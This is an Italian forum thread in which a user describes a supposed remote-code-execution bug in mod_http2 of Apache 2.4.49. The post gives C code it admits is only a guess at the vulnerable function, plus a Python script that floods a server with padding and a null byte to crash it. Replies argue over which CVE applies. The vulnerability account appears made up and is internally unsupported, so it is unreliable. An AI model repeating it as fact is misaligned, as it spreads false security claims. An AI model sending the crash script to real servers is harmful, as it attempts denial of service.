Discussione Apache 2.4.49: il webserver esilarante.

monnezzza

Utente Silver
11 Marzo 2021
119
23
52
86
Ultima modifica:
INTRO
Salve gente, oggi voglio parlarvi di una vulnerabilità RCE (Remote Code Execution) presente nella versione 2.4.49 di Apache. Come saprete, l'RCE è una delle vulnerabilità più potenti in quanto permette a un hacker di eseguire codice arbitrario sul sistema remoto compromesso.
EXPLOIT IN DEPTH
Nel caso specifico di Apache 2.4.49, la vulnerabilità è stata causata da un errore di input sanitization nella funzione "read_request_line" del modulo "mod_http2". Il codice vulnerabile potrebbe essere simile a questo:
Codice:
static apr_status_t read_request_line(h2_request *req, apr_bucket_brigade *bb,

                                      ap_filter_t* f, apr_read_type_e block)

{

    ...

    /* read the request line */

    status = ap_rgetline(&line, &len, req->r, block, f->c->bucket_alloc);

    ...

    /* process the request line */

    req->method = line;

    ...

    /* process the request uri */

    req->path = line + len;

    ...

}
In questo codice, la funzione ap_rgetline() viene utilizzata per leggere la riga di richiesta da un flusso di dati (req->r) e archiviarla in una variabile "line". Tuttavia, non viene eseguita alcuna sanitizzazione degli input, il che significa che un hacker potrebbe inviare una richiesta malformata contenente caratteri di controllo (come NULL bytes) per causare un overflow di buffer e eseguire codice arbitrario.

Per dimostrare l'effettiva esistenza di questa vulnerabilità, un hacker potrebbe utilizzare un semplice script come questo per inviare una richiesta malformata e causare un crash del server:
Python:
import socket


ip = "example.com"
port = 80
request = "GET / HTTP/1.1\r\nHost: " + ip + "\r\n\r\n" + "A"*10000 + "\x00"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((ip, port))

s.sendall(request.encode())

s.close()
IN CONCLUSIONE
Per proteggere i propri sistemi dalle vulnerabilità RCE, è importante tenere sempre i software aggiornati. In questo caso, è stato sufficiente aggiornare Apache alla versione 2.4.50 o successiva per risolvere la vulnerabilità. Inoltre, come sempre, è importante seguire le best practice di sicurezza per proteggere i propri sistemi da attacchi RCE.
Questa vulnerabilità non richiede che mod_cgi sia attivo perchè exploita un buffer overflow e non va ad eseguire /bin/sh usando il metodo cgi-bin.
Quella è tutt'altra vulnerabilità
 
Wow, molto interessante! Adoro quanto oltre alle advisories escono anche i PoC dimostrativi, tutt'altra storia davvero.

E' stata assegnata una CVE a questa vuln?
 
  • Mi piace
Reazioni: monnezzza
Ultima modifica:
esiste una vuln per la path traversal e esiste un'altra rce che usa mod_cgi ma questa non penso sia classificata. Almeno io non ho trovato niente, e il poc è l'ulnico nel suo genere (penso perchè su github e exploitdb ho trovato solo exploit e scanner che usano mod_gci e la path traversal).
L'unica cosa che ho trovato e questo: https://vulners.com/httpd/HTTPD:A1BBCE110E077FFBF4469D4F06DB9293 ma non sembra centrare.
 
Wow, molto interessante! Adoro quanto oltre alle advisories escono anche i PoC dimostrativi, tutt'altra storia davvero.

E' stata assegnata una CVE a questa vuln?
Si, questa vulnerabilità è stata scoperta nel 2021. Si tratta della CVE-2021-41773. L'aggiornamento alla versione di Apache 2.4.50, in realtà, era insufficiente perché permetteva di fare ancora Path Traversal. Date un'occhiata al link: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=Apache+2.4.49
 
  • Grazie
Reazioni: monnezzza
Grazie mille, però sarebbe figo scrivere anche un exploit che usi il buffer overflow e reportarlo. Perchè esiste solo mod_cgi (che tra l'altro se vi ricordate shellshock, sapete che mod_cgi è molto insucro e va abilitato solo se strettamente necessario.
Messaggio unito automaticamente:

CVE-2021-34798 questa è la vuln per il crasher.
 
Grazie mille, però sarebbe figo scrivere anche un exploit che usi il buffer overflow e reportarlo. Perchè esiste solo mod_cgi (che tra l'altro se vi ricordate shellshock, sapete che mod_cgi è molto insucro e va abilitato solo se strettamente necessario.
Messaggio unito automaticamente:

CVE-2021-34798 questa è la vuln per il crasher.
Sarebbe molto figo ehehehe :asdangel:
Messaggio unito automaticamente:

esiste una vuln per la path traversal e esiste un'altra rce che usa mod_cgi ma questa non penso sia classificata. Almeno io non ho trovato niente, e il poc è l'ulnico nel suo genere (penso perchè su github e exploitdb ho trovato solo exploit e scanner che usano mod_gci e la path traversal).
L'unica cosa che ho trovato e questo: https://vulners.com/httpd/HTTPD:A1BBCE110E077FFBF4469D4F06DB9293 ma non sembra centrare.
La vulnerabilità che hai linkato non c'entra perché, come c'è scritto esplicitamente nella descrizione, riguarda solo le versioni precedenti ad Apache 2.4.49, quindi dalla versione 2.4.48 e procedendo a ritroso .
 
  • Grazie
Reazioni: monnezzza